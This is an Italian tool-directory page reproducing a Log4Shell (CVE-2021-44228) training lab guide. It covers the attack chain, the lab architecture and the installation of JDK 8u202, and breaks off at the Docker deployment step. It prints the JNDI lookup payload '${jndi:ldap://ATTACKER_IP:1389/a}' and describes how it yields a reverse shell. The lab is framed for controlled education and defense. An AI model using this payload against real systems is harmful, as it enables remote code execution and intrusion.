Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Log4Shell-CVE-2021-44228 — Laboratorio pratico per sfruttare e comprendere Log4Shell (CVE-2021-44228) utilizzando Docker, Kali Linux, Burp Suite e log4j-shell-poc. Solo per insegnamento e formazione difensiva in ambienti di laboratorio controllati. | Kitploit
Strumenti/GitHubGitHub/drhaitham/log4shell-cve-2021-44228
Generazione di PayloadAnalisi delle VulnerabilitàExploitReverse EngineeringSfruttamento di Applicazioni WebPenetration TestingCommand and ControlApprendimento e Formazione
Red Teaming
Lab e Pratica
GitHubdrhaitham/log4shell-cve-2021-44228

Log4Shell-CVE-2021-44228

Laboratorio pratico per sfruttare e comprendere Log4Shell (CVE-2021-44228) utilizzando Docker, Kali Linux, Burp Suite e log4j-shell-poc. Solo per insegnamento e formazione difensiva in ambienti di laboratorio controllati.

Vedi Repository
3110 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Sfruttare Log4Shell (CVE-2021-44228): Un Laboratorio Dimostrativo Completo e Moderno

Log4Shell (CVE-2021-44228) è una delle vulnerabilità di esecuzione di codice remoto a più alto impatto mai divulgate. Colpisce Apache Log4j 2, un framework di logging Java ampiamente utilizzato, e consente agli attaccanti di eseguire codice arbitrario abusando dei lookup JNDI nei messaggi di log.

Questa guida fornisce un laboratorio dimostrativo completo e riproducibile che utilizza:

  • Kali Linux (attaccante)
  • Un'applicazione vulnerabile Log4j2 Dockerizzata
  • Il PoC pubblico log4j-shell-poc
  • curl, Burp Suite e Netcat

È progettata per scopi didattici, di ricerca, formazione e consapevolezza difensiva esclusivamente in ambienti controllati. La struttura e lo stile seguono lo stesso spirito del laboratorio "Shellshock" associato.


📌 Indice dei contenuti

  1. Nota legale ed etica
  2. Panoramica di alto livello
  3. Obiettivi di apprendimento
  4. Architettura del laboratorio
  5. Prerequisiti
  6. Installare JDK 1.8.0_202 su Kali
  7. Distribuire l'applicazione vulnerabile Log4j (Docker)
  8. Preparare il PoC dell'exploit
  9. Configurare poc.py per usare JDK 1.8.0_202
  10. Avviare i servizi dell'exploit (LDAP + HTTP + Payload)
  11. Avviare il listener della reverse shell
  12. Sfruttare Log4Shell tramite curl
  13. Sfruttare Log4Shell tramite Burp Suite
  14. Diagramma della catena di attacco
  15. Contromisure e difesa
  16. Cheat Sheet (Tutti i comandi)
  17. Galleria di screenshot
  18. Riferimenti
  19. Crediti

0. Nota legale ed etica

Questo laboratorio deve essere eseguito esclusivamente in un ambiente controllato in cui si dispone di autorizzazione esplicita (proprio laboratorio, VM di classe, ecc.).

  • Non attaccare sistemi in produzione.
  • Non eseguire questo materiale contro host che non possiedi o non amministri.
  • Utilizza questo materiale esclusivamente per istruzione, ricerca e difesa.

1. Panoramica di alto livello

Log4Shell (CVE-2021-44228) è una vulnerabilità critica di RCE in Apache Log4j 2.

Il problema nasce perché le versioni vulnerabili di Log4j2 interpretano stringhe controllate dall'attaccante come:

${jndi:ldap://ATTACKER_IP:1389/a}

Quando questa stringa viene registrata nei log, Log4j:

  1. Esegue un lookup JNDI (ad es. tramite LDAP) verso un server controllato dall'attaccante.
  2. Riceve un riferimento a una classe Java dannosa.
  3. Scarica la classe su HTTP e la carica nella JVM.
  4. La esegue, ottenendo esecuzione di codice remoto.

In questo laboratorio, dovrai:

  • Eseguire un'applicazione web Log4j2 vulnerabile all'interno di un contenitore Docker.
  • Eseguire un server LDAP + HTTP dannoso su Kali usando log4j-shell-poc.
  • Consegnare il payload Log4Shell tramite curl e tramite Burp Suite.
  • Ottenere una reverse shell dal contenitore vulnerabile.

2. Obiettivi di apprendimento

Al termine di questo laboratorio, dovresti essere in grado di:

  1. Spiegare a livello generale come funziona Log4Shell e perché JNDI è pericoloso quando viene usato in modo improprio.
  2. Distribuire un'applicazione Log4j2 vulnerabile usando Docker.
  3. Installare e configurare JDK 1.8.0_202, richiesto dal PoC.
  4. Eseguire un server LDAP dannoso e un server HTTP tramite lo script PoC.
  5. Attivare la vulnerabilità e ottenere una reverse shell.
  6. Usare Burp Suite per iniettare l'exploit in un header HTTP.
  7. Discutere mitigazioni realistiche e strategie di rilevamento.

3. Architettura del laboratorio

Tutti i componenti girano sopra il tuo laboratorio virtuale esistente. Per questa documentazione assumiamo:

  • La VM Kali Linux è l'attaccante.
  • Kali esegue anche il contenitore Docker con l'applicazione vulnerabile.
ComponenteRuolo / DescrizioneStrumenti / ServiziIndirizzamento di esempio
VM Kali Linux (Attaccante + Host)Esegue PoC exploit, server LDAP, server HTTP, listener Netcat, Burp SuitePython 3, JDK 1.8.0_202, Netcat, Burp Suite, Docker, curl, Git192.168.1.4 (es. IP di Kali)
Applicazione web Log4j2 vulnerabileTarget; app web Spring Boot vulnerabile a Log4ShellImmagine Docker: ghcr.io/christophetd/log4shell-vulnerable-appEsposta su http://127.0.0.1:8080

Idea chiave

L'attaccante inietta:

${jndi:ldap://192.168.1.4:1389/a}

in un header HTTP. L'app vulnerabile lo registra usando Log4j2 → esegue un lookup JNDI LDAP verso 192.168.1.4:1389 → scarica una classe dannosa da http://192.168.1.4:8000 → esegue la classe, che apre una reverse shell verso 192.168.1.4:9001.


4. Prerequisiti

Su Kali ti serve:

  • Docker (installato e funzionante).
  • Python 3 (predefinito su Kali).
  • Netcat (nc).
  • Burp Suite (va bene anche la Community Edition).
  • Accesso a Internet per i download iniziali.
  • Dimestichezza di base con Linux e HTTP.

In tutta questa guida assumiamo che l'IP di Kali sia:

192.168.1.4

Se il tuo IP è diverso, adatta tutti i comandi di conseguenza.


5. Installare JDK 1.8.0_202 su Kali (Obbligatorio)

Il PoC si basa su Java SE 8 Update 202 (JDK 1.8.0_202) perché le versioni successive di Java limitano il caricamento remoto delle classi usato da questo exploit.

Anche se Kali ha già OpenJDK 21 (o simile), devi comunque installare 8u202 separatamente.

5.1 Creare una directory di lavoro

mkdir -p ~/Log4Shell
cd ~/Log4Shell

5.2 Scaricare JDK 8u202 dal mirror HuaweiCloud

Root del mirror:

https://mirrors.huaweicloud.com/java/jdk/8u202-b08/

Scarica l'archivio tar per Linux x64 (≈185 MB):

wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz   # dovrebbe essere ~185M

5.3 Estrarre in /usr/bin/jdk1.8.0_202

sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
  -C /usr/bin/jdk1.8.0_202 --strip-components=1

L'opzione --strip-components=1 rimuove la directory di primo livello dall'archivio, così i file finiscono direttamente in /usr/bin/jdk1.8.0_202.

5.4 Verificare l'installazione

/usr/bin/jdk1.8.0_202/bin/java -version

Output atteso:

java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)

Se vedi questo, JDK 1.8.0_202 è installato correttamente.


6. Distribuire l'applicazione vulnerabile Log4j (Docker su Kali)

In un nuovo terminale su Kali (puoi rimanere in ~/Log4Shell):

Scarica lo strumento